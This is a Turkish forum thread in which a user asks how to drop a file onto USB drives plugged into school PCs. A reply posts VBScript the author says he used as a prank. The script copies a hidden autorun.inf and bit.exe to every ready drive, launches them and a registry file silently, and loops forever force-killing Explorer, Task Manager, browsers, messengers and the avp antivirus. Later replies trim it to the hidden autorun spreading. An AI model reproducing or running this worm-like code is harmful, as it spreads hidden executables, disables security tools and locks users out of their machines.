*TOYGAR* Posted December 26, 2008 Share Posted December 26, 2008 okuldaki pclerden slaytları çalan öğrencileri tespit etmek için flash bellek pcye takılınca sistem disklerinden birinde bulunan txt dosyasını belleğe atmak istiyoruz .yani bir bat dosyası yazacağı onu c ve ya d ye atacağım sonra bellek takılınca belirlediğim txt dosyası flash belleğe atılacak. nasıl yapabilirim acaba?konu yanlış yerde ise özür dilerim eğer konu kapanırsa nereye açacağımı da yazın altında pls Link to comment Share on other sites More sharing options...
mustiback Posted December 26, 2008 Share Posted December 26, 2008 Tam anlayamadım? Senin dediğin takılan sürücülere dosya atmak mı? Link to comment Share on other sites More sharing options...
mustiback Posted December 26, 2008 Share Posted December 26, 2008 Bunu VBScript ile yapabilirsin. On error resume next set dosya=Createobject("Wscript.Shell") Set dosya2=CreateOBject("Scripting.FileSystemObject") set surucu = bitx.drive For each drive in surucu if drive.isready = true then Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True) Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("cmd /c @start C:\bit.exe") Kdr=dosya.Run("cmd /c @start regedit /s bit.reg") end if next Do KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true) KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true) Loop Arkadaşa bi şaka yaparken kullanmıştım Link to comment Share on other sites More sharing options...
*TOYGAR* Posted December 26, 2008 Author Share Posted December 26, 2008 On error resume next set dosya=Createobject("Wscript.Shell") Set dosya2=CreateOBject("Scripting.FileSystemObject") set surucu = bitx.drive For each drive in surucu if drive.isready = true then Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True) Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("cmd /c @start C:\bit.exe") Kdr=dosya.Run("cmd /c @start regedit /s bit.reg") end if next Do KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true) KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true) Loop bunu txt dosyasına yazıp vbs olarak mı kayıt etmeliyim? Link to comment Share on other sites More sharing options...
mustiback Posted December 26, 2008 Share Posted December 26, 2008 On error resume nextset dosya=Createobject("Wscript.Shell") Set dosya2=CreateOBject("Scripting.FileSystemObject") set surucu = bitx.drive For each drive in surucu if drive.isready = true then Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True) Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True) end if next Do KDR=dosya.run("cmd /c taskkill /f /im msnmsgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im msnmsg.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im explorer.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im taskmgr.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im iexplorer.exe",o,true) KDR=dosya.run("cmd /c taskkill /f /im firefox.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im winamp.exe",0,true) KDR=dosya.run("cmd /c taskkill /f /im avp.exe",0,true) Loop bunu txt dosyasına yazıp vbs olarak mı kayıt etmeliyim? Hayır,vbs olarak kaydeceksin.Ama düzenle sen bunu .İçinde bazı tehlikeli şeyler var .Mesela Do loop içerisinde bazı programları kapatıorum. SEn sadece böle kullan On error resume next set dosya=Createobject("Wscript.Shell") Set dosya2=CreateOBject("Scripting.FileSystemObject") set surucu = bitx.drive For each drive in surucu if drive.isready = true then Kdr=dosya.Run("cmd /c copy autorun.inf "&drive.DriveLetter&":\autorun.inf",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\Autorun.inf",0,True) Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\bit.exe",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\bit.exe",0,True) end if next Ayrıaten txt dosyasının ismini sölersen ona göre de düzenleyebilirim. Link to comment Share on other sites More sharing options...
*TOYGAR* Posted December 26, 2008 Author Share Posted December 26, 2008 bu bellekten sisteme mi kopyalıor çalıştıramadımda.? Link to comment Share on other sites More sharing options...
mustiback Posted December 26, 2008 Share Posted December 26, 2008 Tüm disklere kopyalayıp.Dosyayı gizliyor. Link to comment Share on other sites More sharing options...
*TOYGAR* Posted December 26, 2008 Author Share Posted December 26, 2008 olmadı 10 kere çalıştırdım kopyalanıo adını bit.exe olaark belirlediğim dosyada çalışıo ama bellekte ve ya dsiklerde bulamıorum nereye kopyalıor tam olarak?bi de kopyalanması için vbs dosyasının çalıştırılması gerekli değil mi? Link to comment Share on other sites More sharing options...
mustiback Posted December 26, 2008 Share Posted December 26, 2008 olmadı 10 kere çalıştırdım kopyalanıo adını bit.exe olaark belirlediğim dosyada çalışıo ama bellekte ve ya dsiklerde bulamıorum nereye kopyalıor tam olarak?bi de kopyalanması için vbs dosyasının çalıştırılması gerekli değil mi? On error resume next set dosya=Createobject("Wscript.Shell") Set dosya2=CreateOBject("Scripting.FileSystemObject") set surucu = bitx.drive For each drive in surucu if drive.isready = true then Kdr=dosya.Run("cmd /c copy DOSYA İSMİ "&drive.DriveLetter&":\DOSYA İSMİ",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\DOSYA İSMİ",0,True) Kdr=dosya.Run("cmd /c copy bit.exe "&drive.DriveLetter&":\DOSYA İSMİ",0,True) KDR=dosya.Run("Cmd /c attrib +h +s +r "&drive.DriveLetter&":\DOSYA İSMİ",0,True) end if next Bunun kopyaladıgı dosyaları görmen için gizli klasörleri açıp Not defterine Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] "ShowSuperHidden"=dword:00000001 yazıp .reg olarak kaydetip aç!Ve C:\sürücülerine o dosyaların kopyalandığını göreceksin. Link to comment Share on other sites More sharing options...
*TOYGAR* Posted December 27, 2008 Author Share Posted December 27, 2008 bir dosyayı msdosta tüm disklere nasıl kopyalarım? Link to comment Share on other sites More sharing options...
mustiback Posted December 27, 2008 Share Posted December 27, 2008 bir dosyayı msdosta tüm disklere nasıl kopyalarım? Sana verdiğim kodlar zaten tüm disklere kopyalıyor. Link to comment Share on other sites More sharing options...
ZEUS__ Posted December 27, 2008 Share Posted December 27, 2008 öğrencileri tespite çalışacağına flash disk kullanımını iptal etsen? Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.